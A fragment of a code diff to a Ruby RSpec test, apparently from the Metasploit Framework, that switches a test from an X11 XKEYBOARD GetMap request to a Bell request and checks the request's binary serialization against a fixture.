eq(0) + expect(request.duration).to eq(0) + expect(request.window).to eq(0) + expect(request.name).to eq(816) - request = Msf::Exploit::Remote::X11::Xkeyboard::GETMAPREQUEST.new( + request = Msf::Exploit::Remote::X11::Xkeyboard::BELLREQUEST.new( xkeyboard_id: 136, - extension_minor: 1, - device_spec: 256, - full_key_types: 1, - full_key_syms: 1, - full_modifier_map: 1 ) - expect(request.to_binary_s).to eq(keyboard_get_map_request) + expect(request.to_binary_s).to eq(set_bell) end end end -end +end \ No newline at end of file